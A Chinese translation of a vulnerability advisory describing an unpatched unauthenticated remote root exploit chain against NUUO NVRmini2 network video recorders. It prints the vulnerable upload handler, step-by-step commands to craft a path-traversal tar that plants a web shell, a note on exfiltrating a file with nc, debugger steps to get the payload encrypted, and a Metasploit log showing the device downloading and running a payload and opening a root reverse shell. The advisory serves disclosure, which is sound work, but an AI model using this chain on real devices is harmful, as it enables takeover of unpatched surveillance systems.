前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >rootNUUO NVRmini2(2022 版)中未经身份验证的远程代码执行

rootNUUO NVRmini2(2022 版)中未经身份验证的远程代码执行

作者头像
Khan安全团队
发布2022-01-19 14:43:48
1.4K0
发布2022-01-19 14:43:48
举报
文章被收录于专栏:Khan安全团队

NUUO 的NVRmini2是由NUUO Inc.生产的网络视频录像机 (NVR)。 与大多数 NVR 一样,它的安全性很差,并且曾多次被黑客入侵,这是我在 2016 年首次使用命令注入和堆栈溢出攻击。

六年后,是时候再次pwn了,通过滥用不安全的用户更新机制和非常古老的路径遍历漏洞以root身份执行代码!此漏洞已多次向 NUUO 报告尽管他们尝试修复,但0day在撰写本文时仍然存在,所以玩得开心!

滥用此漏洞链的 Metasploit 模块已发布,可在此处和此处获取。

披露过程

这一系列漏洞是在我最初的 2016 年审计期间首次发现的,但我实际上忘记了它们(老实说,我确实忘记了……很少见,但确实发生了)。我在 2019 年年中通过阅读我的笔记重新发现了它们,并将它们披露给了 NUUO。

2020 年 3 月发布了新的固件版本(版本 03.11.0000.0005)并且错误未修复,因此在 2020 年 4 月再次报告。此后,发布了固件版本 03.11.0000.0016,错误仍未修复。

我想是时候公开它们了,即使没有补丁?

漏洞详情

#1:缺少身份验证 handle_import_user.php

  • CWE-306:缺少关键功能的身份验证
  • CVE-2022-23227
  • 风险分类:严重
  • 攻击向量:远程
  • 约束:无
  • 受影响的版本:每个公开发布的固件版本,包括版本 03.11.0000.0016

该文件/NUUO/web/handle_import_user.php可由http://TARGET/handle_import_user.php未经身份验证的用户访问。其内容如下:

代码语言:javascript
复制
<?php
include('utils.php');

$file_name = "user".rand().".cfg";
$file_path = "/tmp/";

if(move_uploaded_file($_FILES['upload_file']['tmp_name'], $file_path.$file_name)) {
    echo 'user import over';
    system(constant("NUUO_BASE_FOLDER")."/bin/cgi_system importuser 'bfolder=".$file_path."&bfile=".$file_name."'");
} else{
    echo "There was an error uploading the file, please try again!";
}

unlink($file_path.$file_name);
?>

从上面的代码片段中可以看出,它只是将通过 HTTP 表单 POST 上传的文件复制到/tmp/userRAND.cfg,其中RAND是一个随机数,然后调用/bin/cgi_system importuser bfolder=/tmp/ bfile=userRAND.cfg.

cgi_system是一个复杂的二进制文件,为了让这个建议简短而有趣,我决定不显示任何反汇编或反编译的代码。如果您想查看它,在最新的固件版本 03.11.0000.0016 中,执行用户导入的函数位于偏移量0x2B990(md5sum 56e2df9ad0ea0d5b74772bc45b1c81d7)。

此函数执行以下操作:

  • 读取文件
  • 尝试解密
  • 解压它
  • 读取未解压的文件 (shadowpasswd)
  • 尝试将前面提到的文件中的任何用户添加到/etc/passwd/etc/shadow.

仅处理UID1000 或以上的用户,其他用户将被忽略。

加密似乎是自定义的,除非绝对必要,否则我会避免反转自定义加密机制(这很有趣,但需要很多时间)。像所有真正的黑客一样,我们希望通过最简单的途径获得成功——阻力最小的途径(但是,如果你想反转加密,我很想知道他们的算法)。

所以让我们使用一些诡计来获得我们想要的东西!

  1. 将固件降级到版本 3.0.0
  2. pwner创建一个以密码命名的新“超级用户”pwned
  3. 使用我从 2016 年开始的 Metasploit 模块获取 root shell
  4. pwner将的passwd外壳更改为/bin/bash
  5. /NUUO/bin/cgi_system exportuser 'bfile=stuff' > /tmp/ble.cfg在根 shell 中运行
  6. 渗出/tmp/ble.cfg文件(nc例如使用)并在开始时删除 HTTP 垃圾
  7. 您现在可以将此文件上传到任何其他 NVRmini2(具有任何固件版本) http://TARGET/handle_import_user.php
  8. ...并pwner:pwned通过 SSH 登录到 TARGET 以获取 shell!

好的,这很好......但我们仍然需要获得root权限。是时候寻找特权升级了?

#2:BusyBoxtar目录遍历

  • CWE-35:路径遍历
  • CVE-2011-5325
  • 风险等级:高
  • 攻击向量:本地
  • 约束:不适用
  • 受影响的版本:每个公开发布的固件版本,包括版本 03.11.0000.0016

NVRmini2 使用非常旧的busybox版本,这在物联网设备中很常见。最新的固件版本 03.11.0000.0016 使用BusyBox v1.16.1 (2013-11-12 15:35:46 CST) multi-call binary.

此版本受到许多漏洞的影响,其中一个是CVE-2011-5325,即解压缩档案时的目录遍历tar。有关更多详细信息,请查看此提交消息。以下部分还说明了如何创建恶意 tar。

我们如何结合这两个漏洞?

利用链

现在,精明的读者会记得,位于二进制文件偏移量的用户导入函数0x2B990必须cgi_system在解密后执行一系列步骤,包括解压缩 HTTP POST 中提供的文件。

让我们滥用这个机制。tar首先,我们使用 webshel​​l创建恶意文件shelly.php

代码语言:javascript
复制
echo haha > owned
tar cfv sploit.tar owned
ln -s /NUUO/web/ nuuo
tar --append -f sploit.tar nuuo
rm nuuo
mkdir nuuo
cp shelly.php nuuo/
tar --append -f sploit.tar nuuo/shelly.php
gzip sploit.tar

片段 #1:创建恶意 tar 文件

但是,如果您还记得前面的部分,我们必须加密这个文件(它在解压缩之前首先被解密),我懒得去反转加密。最后一步 ( gzip) 是必要的,因为处理程序需要一个压缩文件。

这很容易通过按照前面描述的步骤在目标上获取根 shell 来解决。然后我们开始gdbserver(这有助于包含在目标中):

gdbserver :3333 /NUUO/bin/cgi_system exportuser 'bfile=stuff'

我们连接远程调试器并在 offset 处设置断点0x2AF5C

代码语言:javascript
复制
fd_w = fopen(cfg_file, " r " );

这是exportuser处理程序中打开文件进行加密的点。我们运行程序,然后当它中断时,我们转到/tmp/tmpXXXX目录(XXXX 是程序的PID)。在这个目录中会有一个_stuff.tgz文件,我们将用上面片段#1中创建的文件的内容覆盖它。

然后我们在 offset 处设置断点0x2ADBC

代码语言:javascript
复制
remove(encrypted_file);

此时,我们复制/tmp/stuff.cfg/tmp/whatever,然后我们可以继续程序并退出调试器。

/tmp/whatever文件现在将使用恶意tar内部加密,可用于 pwn 任何固件版本,然后我们将其泄露回我们的计算机。

我们将这个文件以http://TARGET/handle_import_user.phpHTTP POST 形式上传到,文件被解密,然后当它被解压时,我们滥用CVE-2011-5325来执行路径遍历并在 上放置一个 web shell /NUUO/web/shelly.php,它将以 root 身份执行!

Metasploit 模块

我正在发布一个新的 Metasploit 模块,该模块打包了本公告中描述的整个漏洞利用链。该漏洞利用几乎适用于所有已发布的固件版本(请参阅下面的小节以了解警告)!

该漏洞利用的典型运行如下所示:

代码语言:javascript
复制
msf6 exploit(linux/http/nuuo_nvrmini_unauth_rce_r2) > exploit
[*] Started reverse TCP handler on 192.168.241.1:4444
[*] 192.168.241.61:80 - Uploading initial payload...
[+] 192.168.241.61:80 - We now have root access via /shelly.php, using it to deploy payload...
[*] 192.168.241.61:80 - Starting up our web service on http://192.168.241.1:4445/hWICscieDptfuL ...
[*] Using URL: http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Asking the device to download and execute http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Sending the payload to the device...
[*] Sending stage (903360 bytes) to 192.168.241.61
[+] Deleted /NUUO/web/shelly.php
[*] Meterpreter session 5 opened (192.168.241.1:4444 -> 192.168.241.61:40979 ) at 2022-01-07 23:14:29 +0000
[+] 192.168.241.61:80 - Shell incoming!
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > shell
Process 14664 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
uname -a
Linux NVR 2.6.31.8 #1 Thu Oct 11 09:18:12 CST 2018 armv5tel GNU/Linux
cat /etc/titan.conf
[Version]
Kernel=2.6.31.8.0006
MIN_Kernel=2.6.31.8.0000
OS=03.11.0000.0016
MIN_OS=01.06.0000.0113
NVR=03.11.0000.0016
MIN_NVR=01.06.0000.0113
(...)
NVRReleaseDate=20211110
(...)

旧版本注意事项

用于删除 web shell 的技术不适用于早于 2.0.0 的固件版本。对于这些非常旧的版本,可以使用另一种技术,该技术也在随本公告发布的新 Metasploit 模块中提供。

该技术包括将shadow文件替换为包含可以通过 SSH 登录到目标的用户的文件。为什么 web shell 技术不适用于 2.0.0 之前的版本?这是个好问题。

我在 2019 年的笔记中有这个,但我没有向自己提供任何细节,我不想再花时间研究这个老错误。如果您有兴趣,请尝试了解原因并给我留言,我很想知道!

无论如何,对于较旧的固件版本,我建议您使用我2016 年的 Metasploit 模块,它可以在非常旧的固件版本上完美运行,一直到 3.0.0。

修复/缓解

不幸的是,供应商没有回应任何披露尝试,并且多次未能解决此漏洞,因此没有修复。不要将任何 NVRmini2 设备暴露在不受信任的网络中。

免责声明

请注意,敏捷信息安全 (Agile InfoSec) 在列出固定版本或产品时依赖于供应商提供的信息。Agile InfoSec 不验证此信息,除非在本公告中特别提及或供应商要求或签订合同时这样做。 未经确认的供应商修复可能无效或不完整,供应商有责任确保敏捷信息安全发现的漏洞得到妥善解决。 对于因滥用本公告中包含或提及的信息或代码而导致的任何重大损失、生命损失或声誉损失,Agile Information Security Limited 不承担任何财务或其他责任。供应商有责任确保其产品在投放市场之前、期间和之后的安全性。

本文系外文翻译,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系外文翻译前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 披露过程
  • 漏洞详情
    • #1:缺少身份验证 handle_import_user.php
      • #2:BusyBoxtar目录遍历
      • 利用链
        • Metasploit 模块
          • 旧版本注意事项
          • 修复/缓解
          • 免责声明
          相关产品与服务
          多因子身份认证
          多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档